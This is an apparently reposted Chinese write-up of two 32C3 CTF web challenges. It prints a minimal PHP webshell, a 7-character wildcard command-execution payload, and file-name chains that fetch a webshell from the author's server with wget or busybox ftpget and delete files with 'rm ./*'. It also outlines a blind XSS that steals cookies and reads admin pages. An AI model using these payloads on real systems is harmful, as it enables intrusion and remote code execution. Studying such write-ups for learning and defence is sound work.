32C3 CTF 两个Web题目的Writeup

转载

weixin_34320159 于 2018-03-08 11:04:09 发布 93 收藏
文章标签： php javascript 数据库 ViewUI
原文链接：https://juejin.im/post/5aa118a9518825555d46d23e

> 一个狗 · 2015/12/31 11:57

0x00 简介

作为一个销售狗，还能做得动Web题，十分开心。 这次搞了两个题目，一个是TinyHosting，一个是Kummerkasten。

0x01 TingHosting

> A new file hosting service for very small files. could you pwn it?
> http://136.243.194.53/

可以首先在页面中发现一个隐藏的src参数，在URL里加上?src=1之后可以返回出页面的源代码。

大概的意思就是说可以往服务器上传任意文件名的文件，不过每个文件的内容只有有7个字符那么长。

于是首先google了一下，最短的php webshell应该是14字符的这个：

```
#!php
<?=`$_GET[1]`;
复制代码
```

(PS：原文的该代码被转意过了,若有错误...见谅.

显然不够长啊。

后来脑洞了很多，想到了可爱的 * ，于是很重要的payload是：

```
#!bash
z.php
复制代码
```

内容为：

```
#!php
<?=`*`;
复制代码
```

刚好七个字符，不多不少，能把当前目录下的所有玩意按顺序执行一遍。

于是就要构造一些执行链了，一开始的想法是：

```
#!bash
busybox ftpget two.dog w.php z.php
复制代码
```

其中前4个文件内容随意，w.php是上面的关键payload，执行w.php后其内容被我服务器上的webshell覆盖，而获取webshell。

结果悲剧的发现`busybox ftpget`支持的host只能是ip，而不支持域名。

后来想通过wget来构造，利用了302跳转可以跨协议的特点。

```
#!bash
wget wtf.two.dog z.php
复制代码
```

前两个文件人意内容，z.php为重要payload，即可拿下webshell。

但仔细一看，这题会在每一个人的目录下创建一个`index.html`，于是执行链被破坏没法工作。

于是使用bash来先干掉index.html

构造：

```
#!bash
bash bb index.html z.php
复制代码
```

其中bash内容随意，bb的内容为`rm ./*`不超过7个字符。然后再通过上面的方法即可获得一个webshell，然后在根目录发现一个flag。

之后看了老外的做法真是简单好用，就利用bash、bb和z.php，bb的内容分别为`ls /`,`cat /f*`,简单直接0 0

0x02 Kummerkasten

> Our Admin is a little sad this time of the year. Maybe you can cheer him up at this site http://136.243.194.46/
> Please note: This challenge does not follow the flag format.
>
> Hints:
> To build the flag, concatenate both parts and omit '32C3_'

进去之后只有一个提交留言的地方，四下看了看没发现别的东西，感觉和XSS会有关。

直接丢了一个盲打cookie的payload之后收到了回显：

访问过去是403，感觉需要用XSS来读一下页面的内容。

本来的思路是XSS里带上jQuery然后用jQuery操作，结果发现页面里面有，太方便了。

直接用ajax可以轻松读取页面并回传。

看到了 `/admin/bugs` 和 `/admin/token`

根据页面中的信息来看，关键是要读两个png图片回来。

最后的payload如下：

然后把两个图里的内容，一个mysql的password和一个6位数字拼起来就是FLAG咯。

0x03 Other

更多的writeup可以参考如下链接：

github.com/ctfs/write-…